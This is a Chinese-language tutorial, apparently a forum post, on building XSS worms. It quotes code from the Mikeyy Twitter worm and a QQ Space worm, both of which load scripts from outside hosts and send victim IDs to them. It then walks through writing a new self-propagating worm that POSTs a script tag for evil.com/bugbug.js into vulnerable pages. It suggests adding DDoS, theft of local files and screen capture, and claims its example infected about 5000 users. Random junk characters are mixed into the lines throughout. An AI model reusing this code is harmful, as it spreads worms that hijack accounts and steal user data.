& U, d+ a/ R" k+ `% r 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ( F ~6 |7 c' ~" }# K
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30. var _0xf81bx1c="Mikeyy"; + D/ D1 B, s- g/ x- z' y [' Z& h
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 8 P6 y; s6 ]5 [( a
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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- P$ p; _6 L- J7 U 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn(); , k; b% j4 F s) \# z
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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39. } ; 8 v, a, x, d# a, w/ n
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40. setTimeout(wait(),5250);
- B0 P8 M6 W4 ?. }# p, _) {; w复制代码QQ空间XSSfunction killErrors() {return true;}! z# f3 a1 v5 c$ ` X8 f
4 y4 ]$ X/ B( v3 ~( Q4 w4 n
window.onerror=killErrors;0 p2 R( }' p8 N8 W1 U, g: ]
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# r# k/ P' J# c' Bvar shendu;shendu=4;
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//---------------global---v------------------------------------------* a1 L% A+ s3 Y7 q7 j
! j3 q0 n1 L7 r: S//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧? u. k7 K9 t& x' }/ v: I
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";/ q6 n' o0 }( E5 C( {6 p
& s9 N3 {4 s u$ t( t2 gvar myblogurl=new Array();var myblogid=new Array();- `8 Y1 [# A8 M3 k, W9 h) P+ z
+ {- e+ c. v) d/ F& G1 e var gurl=document.location.href;. E) A: K0 G3 f% e7 [' z
, Q& H0 O7 \! z, u var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3); : E1 h# j4 r/ s, J; Y; Z5 ]
5 j1 X7 Q( X: S& v& K; O var visitorID=top.document.documentElement.outerHTML;9 R7 k2 r: x1 H* f
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);7 q/ ^$ |! G# X% I
* l/ m+ n5 v/ [" ]3 n* t cookieS=visitorID.indexOf(",");6 }' V2 U1 s% N9 n. Y( D, B% H
: {0 r0 `# O2 n5 Y6 l# Q7 V visitorID=visitorID.substring(0,cookieS);
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get_my_blog(visitorID);' T# V: d% f: r9 G
( J. V4 u- \5 \0 q! |9 `6 z DOshuamy();
k: ?* }5 b% h$ k* w: K% [& v Y: Z- g, n; [9 N
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//挂马" J) R$ a- o" G. r
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function DOshuamy(){
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) K5 e0 f4 C& k- ^0 S% m1 B' avar ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");' Q/ Y7 N5 s+ w {9 _. r* C
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! x& ^$ X$ D6 K. d. n//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?# L! g* d: e2 A3 O4 e3 l
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function get_my_blog(visitorID){
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, \) V+ F) @% O! X' | userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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) r, C7 I4 H9 Q5 {. V xhr.send();guest=xhr.responseText;) z5 n9 F+ m& {6 ]
/ e% b3 t# s8 l b get_my_blogurl(guest); //执行这个函数
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}
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//这里似乎是判断没有登录的
} }: K; @( P" [6 g4 K# u9 L$ u% b$ f8 U) k( ~. h- u9 S
function get_my_blogurl(guest){9 d, N0 g" [- l7 d0 g0 B0 U8 @
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var mybloglist=guest;+ [6 T1 L9 U+ f) t! s' @6 j6 s4 I
7 \1 [& v/ F" \: M/ I% t var myurls;var blogids;var blogide;" l, p/ E( e9 R, Z- P
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了- Q0 l0 V4 \3 R) {( ?
! {7 I0 b5 H4 F" b2 H& u. X, M if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);9 }5 Z) r8 h& Y( p* a1 I0 P) h
5 D- E* R, A8 Z( g3 C myurls=mybloglist.indexOf(')');1 l$ m) m: q A g$ M3 l9 A
; D2 h8 I& S: J myblogid=mybloglist.substring(0,myurls);) e. Q( [! i$ j
: ^4 l0 Z4 C- H* {0 ~+ v" @- |) i }else{break;}
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}
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get_my_testself(); //执行这个函数9 F! X, `/ Z4 }+ m8 W; |
- [9 C& @/ n/ E+ \}
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0 ?5 [$ F m$ _! N7 ?: y6 L; _% h' N' g! u8 Y
) Q5 i o! q7 q: Q t//这里往哪跳就不知道了
4 `5 i+ c! |$ b8 W( a! `3 T/ u& K; R Q1 k! c
function get_my_testself(){; r" }0 x. m4 @ p/ j( z& }. _! t
$ A; L- S/ G, |, K- {, v
for(i=0;i<myblogid.length;i++){ //获得blogid的值6 q* `# _% w- S
2 c: ~2 p6 u! ~1 ^ l7 j# [" m
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
: v' G4 T5 n: b2 r! I, u6 i! v% w5 O& H8 U1 R
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象$ V2 A" ? W! O6 [+ I
1 u& ]# Y. O# c0 K% C6 t
if(xhr2){ //如果成功
, h3 M' d9 H% |0 {. |7 Q# i6 z. _& _7 U2 u
xhr2.open("GET",url,false); //打开上面的那个url
& \ S* W X+ p( z5 Q' Y( H( N2 d: U2 W6 T4 Z- m
xhr2.send();: w/ n) w5 D7 a* p
2 s. C9 [/ a" d3 V guest2=xhr2.responseText;% a6 |3 y+ S* {# m ]; L5 u
' u1 H- q: Z2 y' C$ b var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?' w8 {+ N# c, _
7 g! L+ {. m8 a- K, ]/ j6 [0 b
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
% q3 F: A# f n$ s6 X6 \ v8 ^5 n( e* o
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
; z# f7 W: |$ `1 ?# p L
7 f, J: b7 u/ I targetblogurlid=myblogid;
5 G8 h% J' }6 s# s S
/ p6 i( J' Q% q1 b$ [3 J add_jsdel(visitorID,targetblogurlid,gurl); //执行它
: f! z% W, e# x! @9 U6 S! g' `* b1 e1 Q6 C8 I' k+ O' J8 X$ G. I% x
break;/ c$ r7 C2 g; _7 w# T3 |5 n
- ?1 F; f6 ~: l* j
}
0 h- H+ z# s/ B6 w5 x
7 ?# \& q% j9 Y! ^- h5 @ if(mycheckit=="-1"){
0 {; ~3 D: E% r! p+ s( U: G! Q% g1 Q. F. D2 m+ e
targetblogurlid=myblogid;
2 s' V1 P# ~; f* ~6 a* F2 ~2 R
% ~( i" p& N6 K1 T* V add_js(visitorID,targetblogurlid,gurl); //执行它
% @5 r- w* [6 ]" F6 r$ I) r/ {6 Z0 G3 I
break;+ P- n j6 z" W5 Q ~
8 U. ]$ _! H# U8 @- j' E/ F% J
}
( i5 `( _" N/ }
8 h) G! E0 n$ I8 X- l) [) a }
+ k& E8 n) \, S& g0 k/ W4 E; o, F4 q4 J
}
$ C1 I# d) y+ b0 v9 R5 r( p4 Z0 ^3 C
9 t0 G5 d4 Z0 ?/ H3 |. s}8 D0 B6 H) x4 ^2 Z- c4 c- s( E$ z
1 ^, }: i& s. }- z1 f; R. ^) L
; S3 c3 }' a6 i4 _. P$ m
( j+ w5 ~/ Q; N+ I2 e, v
//--------------------------------------
; i2 }: E: v0 Y: {3 O3 n% A) {9 X& z2 \! s
//根据浏览器创建一个XMLHttpRequest对象
6 B! ?0 M3 N& i+ F- _2 X+ u0 U1 o9 y0 v |# W- J
function createXMLHttpRequest(){
, h e% }/ I& ~9 F# t$ G! z+ Z) t
var XMLhttpObject=null;
6 \) F+ W6 r* p7 I0 O6 s& {6 s8 f: u) R6 I- t6 H
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
- c* a2 q$ \3 z) X* |+ {+ d9 e% Y, `4 T! l: \# V5 ~2 W/ D* M% G
else , ~2 ^9 N: @, W3 x- z a
! }0 ]2 _4 I8 t/ \
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
3 D8 V: {: `/ @( P3 v \( z) U" l- x) Z( G4 m
for(var i=0;i<MSXML.length;i++)
/ G+ C; _: d, ~/ i
. X9 u: ?: l* l' U( `1 @* G { ' h+ p s9 F# p6 _7 C( w
+ o- C7 t! Y* n% G+ p7 R try 1 G6 s& c( K' k6 l( t
( i! x2 h3 h8 u4 I: _1 M% \5 k
{
! }1 v3 r3 F6 o5 C; [4 ?2 P5 }" C% j8 I' z' \: \
XMLhttpObject=new ActiveXObject(MSXML); . Q5 |0 v: ^9 J7 _0 v: z9 W/ T! G
; i$ J3 X4 q: O7 E+ e6 p
break;
- [" C/ X) n) c- G, L. c) O4 ^( j6 Y. T# N1 n
}
- _+ f Q! ]2 t- f; Z& }$ c& g( U/ |4 }% g4 z3 T" L
catch (ex) { , f" v x3 m% ?2 `, I
+ { O' n. p4 m$ |3 x: \4 P' L } % @' Z. `" W% \* |. b
( y& m1 @6 b$ t }
6 D" p9 l' |$ L: R6 }9 S
" d- A- D; C& a: S- @ }
+ \' x+ {/ p9 r# C$ I3 _- ?8 a8 T5 ?2 }
return XMLhttpObject;; S) n, @7 v$ E1 |
% u9 w+ O0 o5 _0 k5 V I1 q
}
& |* ~ _$ C3 L7 D `5 e% H# l% H) F
; E6 S: ?7 G; r: ?4 e1 \1 u# H' j& x; s# @: f: p
//这里就是感染部分了" S* f1 N8 M+ a9 t
1 O, X+ J0 S* z9 @2 ]4 Zfunction add_js(visitorID,targetblogurlid,gurl){# x, s# Y1 k7 ?
7 r5 ?! o1 |3 p1 q; s
var s2=document.createElement('script');
& t! a! j3 f M& U, a% R* J. X/ |5 D$ L1 D' x$ J* W5 b
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();2 N& {" p9 F& ?' K% K
4 P* c3 w$ A3 J" f* V
s2.type='text/javascript';9 M" e2 {0 W- ^0 v: X" h; i
) q2 e$ P6 P0 U# k8 Bdocument.getElementsByTagName('head').item(0).appendChild(s2);5 V& Q0 d5 v1 P5 H+ g1 X
. S/ `/ T H4 u/ M- a2 h6 c) B' e}- l5 w7 M# ~; q& ~/ J% i! J
k' ?% p* @" P( c& Q) D) w
; e/ p. B1 f/ \' T1 a" {% i: w
4 { M/ Y4 n4 {# Y2 E3 Sfunction add_jsdel(visitorID,targetblogurlid,gurl){
" `% I8 K- D, ]3 I; e5 C- }4 X0 v5 h, r2 j% E. z
var s2=document.createElement('script');
' h9 |, {5 t$ U( X( Z- ?2 r( U$ [8 F& `, a6 M
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();: ]* H4 s7 g: ^; i, z
/ [6 c+ ^" j' u1 Q' [& E* X
s2.type='text/javascript';/ H6 J8 Y' f! C5 l' S& Q
" G7 M ~( g6 ^3 A+ ~: m0 Ydocument.getElementsByTagName('head').item(0).appendChild(s2);; s+ y- y3 y: U& \
6 F) ~8 K' V$ o}) b0 g5 s1 F3 ]" F+ v
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:6 L" v! M$ l X, |
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
# w; }* I8 g. N$ g& M- A
; j! M% ^- k5 a5 T$ \2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
* E7 C5 Y' N; N3 R, Q$ J* B! Y) A0 l# P6 T0 K8 v6 o" J
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~) z- _0 a. P+ R/ ]" p& D9 N
* @- E* I' |, |, I: G
7 {5 J' e, |0 Y% b$ u: K4 e下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
3 f7 R: G# w ]5 \; j& ?- }) ^: c/ @4 R1 ?
首先,自然是判断不同浏览器,创建不同的对象var request = false; [% U6 N, w; i0 b; M
$ L' I3 b* K- Q) ]if(window.XMLHttpRequest) {
9 y- ?; [, Z! W; g: {$ ?
( V" H% @: X# H+ @) X( T0 |request = new XMLHttpRequest();# `+ R6 R" E# \3 O' k% J
# L- B D# x, W+ X5 ]. u
if(request.overrideMimeType) {& q2 D% |0 F% a% ]2 }$ s9 | m
/ [$ F: K& f& Y$ K4 O4 e
request.overrideMimeType('text/xml');
) ^# V. ~# U8 s4 i0 L& ?( G' e+ M& o6 r0 b# {, j4 v5 j r" L1 @6 b5 f
}5 I& o. ?7 K, N" l! K1 c; d
; w0 z( E+ G z; V) v
} else if(window.ActiveXObject) {3 e4 _+ f& H. \7 z! q6 G$ H' F
3 q0 W6 B6 v$ @% @' dvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 {5 ^1 d. F4 Y9 c& @, y) O$ } Q2 S0 T) s
for(var i=0; i<versions.length; i++) {
( c: S& ]6 S( y, ?$ b
" o( R0 \, z5 P( w/ ~try {
0 O- W" Z: ~- w7 U
: _$ m. p- i% k- ~- Wrequest = new ActiveXObject(versions);) A1 j( H& @5 X, y3 I- m
% D# L E* o# ~" t) h/ u
} catch(e) {}
+ f4 G' q9 c8 \: {8 Q
. o& h1 E& A% x) |9 T9 m}- f, z+ S2 Y1 ?2 c x7 [% G
1 M; j8 w m6 G( J( g8 Y# P
}
. X0 N; g& L! r4 z
& n& Z6 O8 X9 E& w. ]. k: MxmlHttpReq=request;: Y. B$ D o) l6 e- |
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){4 `& p" s0 \! c; _! r
* k1 B/ j* |! D2 H var Browser_Name=navigator.appName;9 _5 m1 {1 Z2 Z. h. [4 B% V; o
8 U( v; u/ J& E
var Browser_Version=parseFloat(navigator.appVersion);; F8 l. `- J. A3 y$ k* x
2 m5 Y! Q9 h1 K
var Browser_Agent=navigator.userAgent;! Q2 g- H: z+ g/ b9 p2 r: G
4 W9 c2 c; |. L; ~) V b
! M( \3 I5 \' S. Z' R' P* m& F7 \6 X) o, o: q! n$ H
var Actual_Version,Actual_Name;7 j- R( |, [/ z. b6 i/ _# d( V
; }$ O/ C/ O ?3 Z
% p9 E" F/ O% u/ Z7 v5 D% b4 q# }$ a- d8 h' k/ O" i6 z
var is_IE=(Browser_Name=="Microsoft Internet Explorer");1 e+ P4 o y: Y* Q
* {; o: }8 y7 U
var is_NN=(Browser_Name=="Netscape");
" B$ s1 |$ x. s
3 t% A) O# R' F/ _ var is_Ch=(Browser_Name=="Chrome");& b' z2 F, X- [' U+ `
g$ _6 `7 |7 d# S6 q & Q$ A- S H9 E) c2 K+ i
% n- x) R3 w# e" J D) ~% M, A if(is_NN){
y- H. b, I% z/ ^% r; V3 b6 V' }. ? W B3 N3 ^5 c! f4 d
if(Browser_Version>=5.0){
2 a* @ \& C. B0 B5 u, T, J
3 V, V4 C- n" ]0 J var Split_Sign=Browser_Agent.lastIndexOf("/");1 D4 D, _; T/ n; X5 a @
- n% {1 ]" M: W
var Version=Browser_Agent.indexOf(" ",Split_Sign);
. V! h, Q8 \# E" U+ l+ Z
" H4 J6 D" q# j- f2 V var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
1 p9 z0 N5 i( T# v4 m1 g! \" n" h4 K+ R" l; i! D
6 |4 r& N& |! ]& Y( {) X3 L$ o$ x( q+ W2 N, G. U: b) ]3 p- M
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);7 `& c( R# o# m$ P9 t3 ~; ~% D }
2 P7 i2 x2 ]" d$ E4 t Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
, @" }! q2 b8 z4 c7 y4 C" B3 z& _* {; \: |5 G
}
9 S' k% [: S. K% I+ A) Q
% H) o/ W+ T: g; f. }" s/ a. z else{# f) J% u+ ?% q+ Q) d* N% o& n
& O3 i/ Z- i( H, X3 W# a! s0 \4 L Actual_Version=Browser_Version;/ K' X1 W2 G) Y
* y9 @9 S# p% d
Actual_Name=Browser_Name;% x6 ^7 G0 o! D1 j4 \$ n
2 ?4 x% K. z9 {- F& F* w( y
}* w: k) n" l9 P& N: q( k
+ b) n% T: t' @ g) ~% [
}
4 M, p/ W/ {% A( Z& K( L
3 Z* M+ P; f( R4 w3 A5 b) j else if(is_IE){3 W9 }5 H4 ?- p: G
1 @+ G- @. K* E6 X var Version_Start=Browser_Agent.indexOf("MSIE");: E& j; c, B' F# M) z( }
4 [' a4 V! S' k
var Version_End=Browser_Agent.indexOf(";",Version_Start);4 L' R- D9 R, J+ k9 d1 A" ~
o0 b9 g* s3 ^! U1 N
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
. r$ B; y4 f- V3 g3 D1 w
2 M$ Q* c) [ s$ } Actual_Name=Browser_Name;) ^* H; i7 ~+ h
: b M+ V2 E. s8 w+ b1 ]' m( O 6 U( p3 G* Q2 {3 Z6 I9 c, f. b% S
8 R& [% {# j1 Q) _" a
if(Browser_Agent.indexOf("Maxthon")!=-1){
8 d B# a/ `! e- E7 E1 I x
3 T" B2 S* C t, G: s$ u4 f Actual_Name+="(Maxthon)";3 V& a y$ g- h% [
/ ^/ K) G" y: D0 H9 p/ n3 H }
/ C" ` T" ~5 c. E" f# ?
: G7 @ w8 U c$ n* h/ Y1 U else if(Browser_Agent.indexOf("Opera")!=-1){
. Z2 L- E/ A5 T5 i+ K0 G; w; s+ t: [! u# J% j
Actual_Name="Opera";
8 R2 N- }: A0 P/ U" L6 h( F' U) `" o' _ W
var tempstart=Browser_Agent.indexOf("Opera");4 x$ q/ ], a3 x3 m2 j; @
4 Y1 z. o9 l6 h3 `9 d$ o
var tempend=Browser_Agent.length;
5 t: x) V8 P" x4 r9 m& @
; Z v# G/ a0 d* i& L+ u% g' _ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)& b9 [7 N2 E' U; H( Q
3 q" V+ [3 K$ j% ?: ?& l9 P& g
}
& ~8 Y) c$ X" U0 f. Z- q: G
7 c9 z, @$ J3 ?6 a }7 N6 j5 n0 Z" q3 J
( S- I$ X8 V8 R. ^1 p else if(is_Ch){
# p% P( ]' @$ o4 c) Z$ _) `; g v! {5 _. p
var Version_Start=Browser_Agent.indexOf("Chrome");0 G: p" J: U$ \- E
/ Y% v( b: X3 h& k" \ var Version_End=Browser_Agent.indexOf(";",Version_Start);9 K0 n- c4 e z% W& k- ]
1 @; Q& G8 j5 m
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End); |- l! v! v0 V& P0 l
( B" @$ M) }: ]0 {" b n+ V/ W/ S
Actual_Name=Browser_Name;* N) S$ |9 A* V/ a) q; o8 \& p: y
2 m! w9 p4 c4 c9 \0 ^9 D
: H6 u, n. a D* S# v5 k. ?" w# y: I! x. U; F
if(Browser_Agent.indexOf("Maxthon")!=-1){
% t& Q+ {: ^) s% S% p
% [, X: Z: T* _. i6 g/ B- v% B Actual_Name+="(Maxthon)";; h1 Y% P6 t% h. Q7 x e
$ ?: {" O# y- A! Z0 U' \# v6 a
}- ]- G" `* |* _; B1 y$ u, c' k
0 s6 N! ]4 g v+ m
else if(Browser_Agent.indexOf("Opera")!=-1){
# p. O) M! q. g0 C; e" n& J/ s3 |) `& ?( K4 s
Actual_Name="Opera";
( ]' f. q7 w2 m4 s
1 ~) T+ u* J% k: J var tempstart=Browser_Agent.indexOf("Opera");
# u7 d% ~* b2 s9 X- R& D# r' D" }9 f7 m9 f7 Z# h; W0 P& N
var tempend=Browser_Agent.length;/ f0 T6 M i8 B% U# U
4 n9 n0 }5 b$ p4 O% n5 D+ D Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
) N4 G7 \8 b" D9 M5 J
4 O: j; t! q7 Y1 e }
9 _# U' s. V0 I3 j# j7 ]5 B% R8 v+ `. @2 @7 z f% q' {$ ?. T1 e
}' G, p" r: q" t5 E' R( `7 C
( Y9 g8 d2 E! W: s3 s
else{: c6 m7 e7 ~0 Z, S
" w, }/ w6 \' a8 |0 J& B* {- E
Actual_Name="Unknown Navigator"
: x- ^0 m% v4 p
' u& j% G8 H# F* _ Actual_Version="Unknown Version"
6 P A ?3 U. P5 U: g5 V' q; Q9 S' @: b; t& u6 m
}8 p+ Q0 W1 N& \; i0 w' ~+ [
2 K6 a% X: u. o9 o
" E6 r8 f' I1 j; `" B# d
! E% E/ e* S0 @7 Z) \+ B+ N4 f navigator.Actual_Name=Actual_Name;
4 `4 U9 d1 T3 V0 B* Q7 `# @8 U \) A8 @3 a) N+ y2 Z* |
navigator.Actual_Version=Actual_Version;
& } |8 F0 z0 O8 R% ? }7 h' T# v0 c0 o+ | b& q n% m' c8 @
6 e) s! G5 C a- M
; N- w- P3 x* @1 u3 `
this.Name=Actual_Name;
! m+ J% S" A/ K" Y% W# }0 k7 T2 @6 {, E. a) j; f
this.Version=Actual_Version;6 d6 p" `: S3 V
' X( Y4 G- m# ~
} O) I" G7 z0 b0 m- O
" j2 Y7 [) T4 Q1 n" v
browserinfo();$ r% W- ^ C6 f0 V& D
]+ X) g( \% Y4 m
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
$ S" v f# S6 u
' N+ e% N8 B% [$ ]: Q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}! T9 @1 L7 i1 v' s* {
: P" r) ?" s: w% v) C if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}$ m5 T+ J. z, k& J4 L8 k
. e1 q* s9 L4 ]9 |* {0 i3 f: g if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
( d6 Q, S4 q# M ~; h8 A4 D( i+ j$ e8 C复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
. j7 u! ? [# V1 m6 R复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码* D6 u- b) L7 N7 f( h
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面. I i: V1 v" {7 G; G
9 Y# ]# x- B0 r; \' p, J; [- |
xmlHttpReq.send(null);5 _) M! ?0 t$ p3 \6 F
8 \! v6 O t2 h: z. b
var resource = xmlHttpReq.responseText;9 R) @: X) t2 s H" R# P
Q. s- C+ N4 \" ^. a0 |( {! T
var id=0;var result;
" N5 ?$ H# j. M/ ~5 N" y( [( J7 f, O, \8 _# l. K! m2 D) \
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
2 m- o. K* Q5 Q: D. c0 {* ?" C0 o" F1 [
while ((result = patt.exec(resource)) != null) {
% s- w5 U5 o3 G* O g+ i; N+ x+ f5 h; T+ F! N
id++;
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.- u2 {% Z/ T7 z* h3 |1 }
9 b+ I7 @* V% L1 v6 v0 {+ wno=resource.search(/my name is/);
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+ z; ]$ z4 [5 z( @var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;4 Q8 P, k1 a! ]
5 `5 m- l/ X0 R2 ~; v, gxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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* G' c* m' @, ?" T复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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2 U# c: O5 G9 y% ]1 h) B0 Cvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方& _- N5 |$ X2 E/ z W" B7 x
3 V3 J+ B0 Q3 O7 ]% A* Yvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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" g5 \1 ~% l; s/ ^6 \# A' vvar post="wd="+wd;9 k; T6 r3 @; Y5 A# `' F1 I5 V! |
5 j7 p* B9 S0 S9 R* p; \ SxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); + T- N! \) c; w+ J! A/ N
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");1 _0 b4 r% l# L" o/ N2 z( p, n
K/ c* p5 n4 n. Z4 p- ]0 ^xmlHttpReq.send(post); //把传播的信息 POST出去.% O3 J" Y4 G: }% H, n) d$ ^4 x
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------% s1 ~) ^7 n/ [0 d& X, t1 ^( o
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, Z$ d9 |: `& x本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
1 ^, y: N i, {2 U7 b8 U; m蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.. _8 ~. y& j0 ~5 c+ U
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.* p- K( Y9 h+ b3 ?7 o' q, x P
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本文引用文档资料:' E5 L3 P5 x" c/ ]: B9 j
' h; q& O# X" p* `) B1 s. r"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
: [1 B( p7 R, qOther XmlHttpRequest tricks (Amit Klein, January 2003)
7 |! l; `+ q h! J: [: ?"Cross Site Tracing" (Jeremiah Grossman, January 2003)' F: D$ o; O8 b b
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
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